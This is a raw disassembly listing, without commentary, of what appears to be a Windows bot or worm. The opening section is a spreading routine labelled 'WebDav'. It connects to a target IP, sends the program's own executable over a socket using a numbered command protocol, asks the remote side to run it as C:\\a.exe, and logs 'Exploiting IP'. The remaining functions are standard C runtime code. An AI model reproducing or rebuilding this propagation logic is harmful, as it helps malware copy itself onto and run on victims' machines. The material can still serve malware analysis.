		lea	eax, [ebp-4Ch]
		jnz	short loc_41647E
		push	offset a022mmv1_1 ; "022v1.1\r\n"
		jmp	short loc_416483
; ---------------------------------------------------------------------------


loc_41647E:				; CODE XREF: .text:00416475j
		push	offset a022mmv1_2 ; "022v1.2\r\n"


loc_416483:				; CODE XREF: .text:0041647Cj
		push	eax
		call	sub_416905
		pop	ecx
		lea	eax, [ebp-4Ch]
		pop	ecx
		lea	edi, [eax+1]


loc_416491:				; CODE XREF: .text:00416496j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_416491
		push	0
		sub	eax, edi
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_43A438	; send
		push	ebx
		call	esi	; Sleep
		push	10h
		pop	ecx
		xor	eax, eax
		push	eax
		lea	edi, [ebp-4Ch]
		rep stosd
		push	40h
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_43A304	; recv
		lea	eax, [ebp-4Ch]
		push	offset a001m	; "001"
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4167B9


loc_4164DF:				; CODE XREF: .text:00416469j
		push	0
		push	6
		push	offset a019m	; "019\r\n"
		push	dword ptr [ebp-4]
		call	dword_43A438	; send
		push	ebx
		call	esi	; Sleep
		push	10h
		pop	ecx
		xor	eax, eax
		push	eax
		lea	edi, [ebp-4Ch]
		rep stosd
		push	40h
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_43A304	; recv
		push	7
		mov	edi, offset a020m ; "020\r\n"
		lea	esi, [ebp-4Ch]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jnz	loc_4167B9
		push	41h
		pop	ecx
		lea	edi, [ebp-178h]
		rep stosd
		push	104h
		lea	eax, [ebp-178h]
		push	eax
		xor	esi, esi
		push	esi
		call	dword_42200C	; GetModuleFileNameA
		lea	eax, [ebp-178h]
		push	offset dword_422998
		push	eax
		call	sub_41719C
		cmp	eax, esi
		pop	ecx
		pop	ecx
		mov	[ebp-50h], eax
		jz	loc_4167B9
		lea	eax, [ebp-698h]
		push	eax
		push	202h
		call	dword_43A3AC	; WSAStartup
		test	eax, eax
		jnz	loc_4167B9
		lea	eax, [ebp+0Ch]
		push	eax
		call	dword_43A414	; inet_addr
		push	ebx
		mov	[ebp-70h], eax
		call	dword_43A4F4	; ntohs
		push	6
		push	1
		push	2
		mov	[ebp-72h], ax
		mov	word ptr [ebp-74h], 2
		call	dword_43A39C	; socket
		push	10h
		lea	ecx, [ebp-74h]
		push	ecx
		push	eax
		mov	[ebp-0Ch], eax
		call	dword_43A34C	; connect
		cmp	eax, 0FFFFFFFFh
		jz	loc_4167B0
		push	esi
		push	80h
		push	3
		push	esi
		push	1
		push	80000000h
		lea	eax, [ebp-178h]
		push	eax
		call	dword_422034	; CreateFileA
		mov	edi, eax
		push	esi
		push	edi
		call	dword_422094	; GetFileSize
		push	edi
		mov	[ebp-54h], eax
		call	dword_42202C	; CloseHandle
		push	dword ptr [ebp-54h]
		lea	eax, [ebp-4Ch]
		push	offset aCA_exeD	; "C:\\a.exe\r\n%d\r\n"
		push	eax
		call	sub_416905
		lea	eax, [ebp-4Ch]
		add	esp, 0Ch
		lea	edi, [eax+1]


loc_416609:				; CODE XREF: .text:0041660Ej
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_416609
		push	esi
		sub	eax, edi
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	dword_43A438	; send
		push	ebx
		call	dword_422000	; Sleep
		push	10h
		pop	ecx
		xor	eax, eax
		push	esi
		lea	edi, [ebp-4Ch]
		rep stosd
		push	40h
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	dword_43A304	; recv
		lea	eax, [ebp-4Ch]
		push	offset aOkRedy	; "+OK REDY"
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4167B0
		push	10h
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp-4Ch]
		rep stosd
		mov	edi, [ebp-50h]
		jmp	short loc_416689
; ---------------------------------------------------------------------------


loc_416669:				; CODE XREF: .text:0041668Dj
		push	edi
		push	40h
		lea	eax, [ebp-4Ch]
		push	1
		push	eax
		call	sub_416F47
		add	esp, 10h
		push	esi
		push	eax
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	dword_43A438	; send


loc_416689:				; CODE XREF: .text:00416667j
		test	byte ptr [edi+0Ch], 10h
		jz	short loc_416669
		push	10h
		pop	ecx
		xor	eax, eax
		push	esi
		lea	edi, [ebp-4Ch]
		rep stosd
		push	40h
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-0Ch]
		call	dword_43A304	; recv
		lea	eax, [ebp-4Ch]
		push	offset aOkRcvd	; "+OK RCVD"
		push	eax
		call	sub_4173D0
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	loc_4167B0
		push	dword ptr [ebp-0Ch]
		call	dword_43A4B0	; closesocket
		push	esi
		push	0Eh
		push	offset a008mcA_exe ; "008C:\\a.exe\r\n"
		push	dword ptr [ebp-4]
		call	dword_43A438	; send
		push	ebx
		call	dword_422000	; Sleep
		push	10h
		pop	ecx
		xor	eax, eax
		push	esi
		lea	edi, [ebp-4Ch]
		rep stosd
		push	40h
		lea	eax, [ebp-4Ch]
		push	eax
		push	dword ptr [ebp-4]
		call	dword_43A304	; recv
		push	1Bh
		mov	edi, offset a001merrorExecu ; "001Error Executing File\r\n"
		lea	esi, [ebp-4Ch]
		pop	ecx
		xor	eax, eax
		repe cmpsb
		jz	loc_4167B0
		xor	esi, esi
		push	esi
		push	6
		push	offset a100m	; "100\r\n"
		push	dword ptr [ebp-4]
		call	dword_43A438	; send
		push	dword ptr [ebp-0Ch]
		call	dword_43A4B0	; closesocket
		push	dword ptr [ebp-4]
		call	dword_43A4B0	; closesocket
		call	dword_43A4BC	; WSACleanup
		lea	eax, [ebp+0Ch]
		push	eax
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		add	eax, offset aWebdav_0 ;	"WebDav"
		push	eax
		push	offset aSExploitingIpS ; "[%s]:	Exploiting IP: %s."
		lea	eax, [ebp-378h]
		push	200h
		push	eax
		call	sub_416B5D
		add	esp, 14h
		cmp	[ebp+0BCh], esi
		jnz	short loc_41678D
		push	esi
		push	dword ptr [ebp+0B8h]
		lea	eax, [ebp-378h]
		push	eax
		lea	eax, [ebp+1Ch]
		push	eax
		push	dword ptr [ebp+8]
		call	sub_405D20
		add	esp, 14h


loc_41678D:				; CODE XREF: .text:0041676Ej
		lea	eax, [ebp-378h]
		push	eax
		call	sub_401ECD
		mov	eax, [ebp+0B0h]
		imul	eax, 3Ch
		lea	eax, dword_42E070[eax]
		inc	dword ptr [eax]
		xor	eax, eax
		pop	ecx
		inc	eax
		jmp	short loc_4167CA
; ---------------------------------------------------------------------------


loc_4167B0:				; CODE XREF: .text:004165B8j
					; .text:00416654j ...
		push	dword ptr [ebp-0Ch]
		call	dword_43A4B0	; closesocket


loc_4167B9:				; CODE XREF: .text:004163AFj
					; .text:00416452j ...
		push	dword ptr [ebp-4]
		call	dword_43A4B0	; closesocket
		call	dword_43A4BC	; WSACleanup
		xor	eax, eax


loc_4167CA:				; CODE XREF: .text:004167AEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4167D0	proc near		; CODE XREF: start+5Cp	start+9Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416894
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_4167FC


loc_4167EB:				; CODE XREF: sub_4167D0+2Aj
		mov	al, [edi]
		add	edi, 1
		test	al, al
		jz	short loc_41682D
		test	edi, 3
		jnz	short loc_4167EB


loc_4167FC:				; CODE XREF: sub_4167D0+19j
					; sub_4167D0+42j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_4167FC
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41683C
		test	ah, ah
		jz	short loc_416837
		test	eax, 0FF0000h
		jz	short loc_416832
		test	eax, 0FF000000h
		jnz	short loc_4167FC


loc_41682D:				; CODE XREF: sub_4167D0+22j
		sub	edi, 1
		jmp	short loc_41683F
; ---------------------------------------------------------------------------


loc_416832:				; CODE XREF: sub_4167D0+54j
		sub	edi, 2
		jmp	short loc_41683F
; ---------------------------------------------------------------------------


loc_416837:				; CODE XREF: sub_4167D0+4Dj
		sub	edi, 3
		jmp	short loc_41683F
; ---------------------------------------------------------------------------


loc_41683C:				; CODE XREF: sub_4167D0+49j
		sub	edi, 4


loc_41683F:				; CODE XREF: sub_4167D0+60j
					; sub_4167D0+65j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_416854
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4168AE
		jmp	short loc_416876
; ---------------------------------------------------------------------------


loc_416854:				; CODE XREF: sub_4167D0+79j
					; sub_4167D0+9Dj
		mov	dl, [esi]
		add	esi, 1
		test	dl, dl
		jz	short loc_41689A
		mov	[edi], dl
		add	edi, 1
		sub	ecx, 1
		jz	short loc_416890
		test	esi, 3
		jnz	short loc_416854
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_4168AE


loc_416876:				; CODE XREF: sub_4167D0+82j
					; sub_4167D0+DCj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_416890


loc_41687D:				; CODE XREF: sub_4167D0+BEj
		mov	dl, [esi]
		add	esi, 1
		mov	[edi], dl
		add	edi, 1
		test	dl, dl
		jz	short loc_416892
		sub	ecx, 1
		jnz	short loc_41687D


loc_416890:				; CODE XREF: sub_4167D0+95j
					; sub_4167D0+ABj
		mov	[edi], cl


loc_416892:				; CODE XREF: sub_4167D0+B9j
		pop	ebx
		pop	esi


loc_416894:				; CODE XREF: sub_4167D0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41689A:				; CODE XREF: sub_4167D0+8Bj
					; sub_4167D0+FAj
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4168A4:				; CODE XREF: sub_4167D0+F6j
					; sub_4167D0+10Ej
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_416876


loc_4168AE:				; CODE XREF: sub_4167D0+80j
					; sub_4167D0+A4j
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_4168A4
		test	dl, dl
		jz	short loc_41689A
		test	dh, dh
		jz	short loc_4168FA
		test	edx, 0FF0000h
		jz	short loc_4168EA
		test	edx, 0FF000000h
		jnz	short loc_4168A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4168EA:				; CODE XREF: sub_4167D0+106j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_4168FA:				; CODE XREF: sub_4167D0+FEj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4167D0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416905	proc near		; CODE XREF: start+19p	start+48p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_1C], 7FFFFFFFh
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_4189AC
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_416957
		dec	[ebp+var_1C]
		js	short loc_41694A
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_416957
; ---------------------------------------------------------------------------


loc_41694A:				; CODE XREF: sub_416905+3Bj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_418805
		pop	ecx
		pop	ecx


loc_416957:				; CODE XREF: sub_416905+36j
					; sub_416905+43j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_416905	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416960	proc near		; CODE XREF: sub_401141+2BBp
					; sub_409806+4527p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		add	ecx, 1
		neg	ecx
		sub	edi, 1
		mov	al, [ebp+arg_4]
		std
		repne scasb
		add	edi, 1
		cmp	[edi], al
		jz	short loc_416987
		xor	eax, eax
		jmp	short loc_416989
; ---------------------------------------------------------------------------


loc_416987:				; CODE XREF: sub_416960+21j
		mov	eax, edi


loc_416989:				; CODE XREF: sub_416960+25j
		cld
		pop	edi
		leave
		retn
sub_416960	endp


; =============== S U B	R O U T	I N E =======================================



sub_41698D	proc near		; CODE XREF: sub_401950+39p
					; sub_402B61+2Ep ...

arg_0		= dword	ptr  4

		call	sub_41915F
		mov	ecx, [esp+arg_0]
		mov	[eax+14h], ecx
		retn
sub_41698D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41699A	proc near		; CODE XREF: sub_401141+152p
					; sub_4017DA+57p ...
		call	sub_41915F
		mov	ecx, [eax+14h]
		imul	ecx, 343FDh
		add	ecx, 269EC3h
		mov	[eax+14h], ecx
		mov	eax, ecx
		shr	eax, 10h
		and	eax, 7FFFh
		retn
sub_41699A	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_4169C0	proc near		; CODE XREF: sub_401141+6Ep
					; sub_401141+9Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_416A5F
		push	esi
		push	ebx
		mov	ebx, ecx
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		mov	edi, [esp+0Ch+arg_0]
		jnz	short loc_4169EC
		shr	ecx, 2
		jnz	loc_416A6F
		jmp	short loc_416A13
; ---------------------------------------------------------------------------


loc_4169EC:				; CODE XREF: sub_4169C0+1Fj
					; sub_4169C0+45j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	short loc_416A26
		test	al, al
		jz	short loc_416A2E
		test	esi, 3
		jnz	short loc_4169EC
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416A6F


loc_416A0E:				; CODE XREF: sub_4169C0+ADj
		and	ebx, 3
		jz	short loc_416A26


loc_416A13:				; CODE XREF: sub_4169C0+2Aj
					; sub_4169C0+64j
		mov	al, [esi]
		add	esi, 1
		mov	[edi], al
		add	edi, 1
		test	al, al
		jz	short loc_416A58
		sub	ebx, 1
		jnz	short loc_416A13


loc_416A26:				; CODE XREF: sub_4169C0+39j
					; sub_4169C0+51j
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416A2E:				; CODE XREF: sub_4169C0+3Dj
		test	edi, 3
		jz	short loc_416A4C


loc_416A36:				; CODE XREF: sub_4169C0+8Aj
		mov	[edi], al
		add	edi, 1
		sub	ecx, 1
		jz	loc_416ADC
		test	edi, 3
		jnz	short loc_416A36


loc_416A4C:				; CODE XREF: sub_4169C0+74j
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_416AC7


loc_416A53:				; CODE XREF: sub_4169C0+9Bj
					; sub_4169C0+116j
		mov	[edi], al
		add	edi, 1


loc_416A58:				; CODE XREF: sub_4169C0+5Fj
		sub	ebx, 1
		jnz	short loc_416A53
		pop	ebx
		pop	esi


loc_416A5F:				; CODE XREF: sub_4169C0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_416A65:				; CODE XREF: sub_4169C0+C7j
					; sub_4169C0+DFj
		mov	[edi], edx
		add	edi, 4
		sub	ecx, 1
		jz	short loc_416A0E


loc_416A6F:				; CODE XREF: sub_4169C0+24j
					; sub_4169C0+4Cj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_416A65
		test	dl, dl
		jz	short loc_416AB9
		test	dh, dh
		jz	short loc_416AAF
		test	edx, 0FF0000h
		jz	short loc_416AA5
		test	edx, 0FF000000h
		jnz	short loc_416A65
		mov	[edi], edx
		jmp	short loc_416ABD
; ---------------------------------------------------------------------------


loc_416AA5:				; CODE XREF: sub_4169C0+D7j
		and	edx, 0FFFFh
		mov	[edi], edx
		jmp	short loc_416ABD
; ---------------------------------------------------------------------------


loc_416AAF:				; CODE XREF: sub_4169C0+CFj
		and	edx, 0FFh
		mov	[edi], edx
		jmp	short loc_416ABD
; ---------------------------------------------------------------------------


loc_416AB9:				; CODE XREF: sub_4169C0+CBj
		xor	edx, edx
		mov	[edi], edx


loc_416ABD:				; CODE XREF: sub_4169C0+E3j
					; sub_4169C0+EDj ...
		add	edi, 4
		xor	eax, eax
		sub	ecx, 1
		jz	short loc_416AD3


loc_416AC7:				; CODE XREF: sub_4169C0+91j
		xor	eax, eax


loc_416AC9:				; CODE XREF: sub_4169C0+111j
		mov	[edi], eax
		add	edi, 4
		sub	ecx, 1
		jnz	short loc_416AC9


loc_416AD3:				; CODE XREF: sub_4169C0+105j
		and	ebx, 3
		jnz	loc_416A53


loc_416ADC:				; CODE XREF: sub_4169C0+7Ej
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_4169C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416AE4	proc near		; CODE XREF: sub_4017DA+4Ap
					; sub_404260+23Cp ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	eax
		mov	[ebp+var_14], 49h
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_419D00
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+var_20]
		push	eax
		call	sub_419255
		add	esp, 10h
		leave
		retn
sub_416AE4	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_416B20	proc near		; CODE XREF: sub_403FEB+8p
					; sub_405121+Ap ...

arg_0		= byte ptr  4

		cmp	eax, 1000h
		jnb	short loc_416B35
		neg	eax
		add	eax, esp
		add	eax, 4
		test	[eax], eax
		xchg	eax, esp
		mov	eax, [eax]
		push	eax
		retn
; ---------------------------------------------------------------------------


loc_416B35:				; CODE XREF: sub_416B20+5j
		push	ecx
		lea	ecx, [esp+4+arg_0]


loc_416B3A:				; CODE XREF: sub_416B20+2Cj
		sub	ecx, 1000h
		sub	eax, 1000h
		test	[ecx], eax
		cmp	eax, 1000h
		jnb	short loc_416B3A
		sub	ecx, eax
		mov	eax, esp
		test	[ecx], eax
		mov	esp, ecx
		mov	ecx, [eax]
		mov	eax, [eax+4]
		push	eax
		retn
sub_416B20	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416B5D	proc near		; CODE XREF: sub_401E55+46p
					; sub_401ECD+67p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= byte ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	[ebp+var_1C], eax
		push	edi
		lea	eax, [ebp+arg_C]
		push	eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_4189AC
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_416BAE
		dec	[ebp+var_1C]
		js	short loc_416BA1
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_416BAE
; ---------------------------------------------------------------------------


loc_416BA1:				; CODE XREF: sub_416B5D+3Aj
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_418805
		pop	ecx
		pop	ecx


loc_416BAE:				; CODE XREF: sub_416B5D+35j
					; sub_416B5D+42j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_416B5D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416BB4	proc near		; CODE XREF: sub_401F41+19p
					; sub_405CD5+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		push	[ebp+arg_C]
		mov	[ebp+var_1C], eax
		push	[ebp+arg_8]
		lea	eax, [ebp+var_20]
		push	eax
		mov	[ebp+var_14], 42h
		mov	[ebp+var_18], esi
		mov	[ebp+var_20], esi
		call	sub_4189AC
		add	esp, 0Ch
		test	esi, esi
		mov	edi, eax
		jz	short loc_416C04
		dec	[ebp+var_1C]
		js	short loc_416BF7
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_416C04
; ---------------------------------------------------------------------------


loc_416BF7:				; CODE XREF: sub_416BB4+39j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_418805
		pop	ecx
		pop	ecx


loc_416C04:				; CODE XREF: sub_416BB4+34j
					; sub_416BB4+41j
		mov	eax, edi
		pop	edi
		pop	esi
		leave
		retn
sub_416BB4	endp


; =============== S U B	R O U T	I N E =======================================



sub_416C0A	proc near		; CODE XREF: sub_416C92j
					; sub_42027F+36p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		call	sub_41915F
		mov	edi, [eax+64h]
		cmp	edi, off_4323DC
		jz	short loc_416C23
		call	sub_419F8E
		mov	edi, eax


loc_416C23:				; CODE XREF: sub_416C0A+10j
		mov	esi, [esp+8+arg_0]


loc_416C27:				; CODE XREF: sub_416C0A+43j
		cmp	dword ptr [edi+28h], 1
		movzx	eax, byte ptr [esi]
		jle	short loc_416C3E
		push	8
		push	eax
		push	edi
		call	sub_419D8B
		add	esp, 0Ch
		jmp	short loc_416C48
; ---------------------------------------------------------------------------


loc_416C3E:				; CODE XREF: sub_416C0A+24j
		mov	ecx, [edi+48h]
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8


loc_416C48:				; CODE XREF: sub_416C0A+32j
		test	eax, eax
		jz	short loc_416C4F
		inc	esi
		jmp	short loc_416C27
; ---------------------------------------------------------------------------


loc_416C4F:				; CODE XREF: sub_416C0A+40j
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, 2Dh
		mov	edx, ecx
		jz	short loc_416C5F
		cmp	ecx, 2Bh
		jnz	short loc_416C63


loc_416C5F:				; CODE XREF: sub_416C0A+4Ej
		movzx	ecx, byte ptr [esi]
		inc	esi


loc_416C63:				; CODE XREF: sub_416C0A+53j
		xor	eax, eax


loc_416C65:				; CODE XREF: sub_416C0A+7Cj
		cmp	ecx, 30h
		jl	short loc_416C74
		cmp	ecx, 39h
		jg	short loc_416C74
		sub	ecx, 30h
		jmp	short loc_416C77
; ---------------------------------------------------------------------------


loc_416C74:				; CODE XREF: sub_416C0A+5Ej
					; sub_416C0A+63j
		or	ecx, 0FFFFFFFFh


loc_416C77:				; CODE XREF: sub_416C0A+68j
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_416C88
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2]
		movzx	ecx, byte ptr [esi]
		inc	esi
		jmp	short loc_416C65
; ---------------------------------------------------------------------------


loc_416C88:				; CODE XREF: sub_416C0A+70j
		cmp	edx, 2Dh
		pop	edi
		pop	esi
		jnz	short locret_416C91
		neg	eax

locret_416C91:				; CODE XREF: sub_416C0A+83j
		retn
sub_416C0A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_416C92	proc near		; CODE XREF: sub_401FDF+63p
					; sub_402B05+12p ...
		jmp	sub_416C0A
sub_416C92	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416C97	proc near		; CODE XREF: sub_4023C0+1C2p
					; sub_4023C0+1C8p ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

; FUNCTION CHUNK AT 00416CF3 SIZE 00000015 BYTES

		push	0Ch
		push	offset stru_42BDD8
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_416D02
		cmp	dword_482964, 3
		jnz	short loc_416CF3
		push	4
		call	sub_41A166
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_41A1DF
		pop	ecx
		mov	[ebp+var_1C], eax
		test	eax, eax
		jz	short loc_416CD6
		push	esi
		push	eax
		call	sub_41A20A
		pop	ecx
		pop	ecx


loc_416CD6:				; CODE XREF: sub_416C97+34j
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_416CEA
		cmp	[ebp+var_1C], 0
		jnz	short loc_416D02
		push	[ebp+arg_0]
		jmp	short loc_416CF4
sub_416C97	endp


; =============== S U B	R O U T	I N E =======================================



sub_416CEA	proc near		; CODE XREF: sub_416C97+43p
					; DATA XREF: .text:stru_42BDD8o
		push	4
		call	sub_41A0D2
		pop	ecx
		retn
sub_416CEA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_416C97


loc_416CF3:				; CODE XREF: sub_416C97+1Aj
		push	esi


loc_416CF4:				; CODE XREF: sub_416C97+51j
		push	0
		push	dword_482960
		call	dword_422058	; RtlFreeHeap


loc_416D02:				; CODE XREF: sub_416C97+11j
					; sub_416C97+4Cj
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_416C97

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416D08	proc near		; CODE XREF: sub_416D83+Bp

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8

		push	0Ch
		push	offset stru_42BDE8
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		cmp	dword_482964, 3
		jnz	short loc_416D4E
		cmp	esi, dword_482950
		ja	short loc_416D4E
		push	4
		call	sub_41A166
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		push	esi
		call	sub_41A9BE
		pop	ecx
		mov	[ebp+var_1C], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_416D7A
		mov	eax, [ebp+var_1C]
		test	eax, eax
		jnz	short loc_416D71


loc_416D4E:				; CODE XREF: sub_416D08+16j
					; sub_416D08+1Ej
		test	esi, esi
		jnz	short loc_416D53
		inc	esi


loc_416D53:				; CODE XREF: sub_416D08+48j
		cmp	dword_482964, 1
		jz	short loc_416D62
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_416D62:				; CODE XREF: sub_416D08+52j
		push	esi
		push	0
		push	dword_482960
		call	dword_42205C	; RtlAllocateHeap


loc_416D71:				; CODE XREF: sub_416D08+44j
		call	__SEH_epilog
		retn
sub_416D08	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D77	proc near		; DATA XREF: .text:stru_42BDE8o
		mov	esi, [ebp+8]
sub_416D77	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_416D7A	proc near		; CODE XREF: sub_416D08+3Ap
		push	4
		call	sub_41A0D2
		pop	ecx
		retn
sub_416D7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_416D83	proc near		; CODE XREF: sub_416DAF+Ap
					; sub_41797C+6p

arg_0		= dword	ptr  4
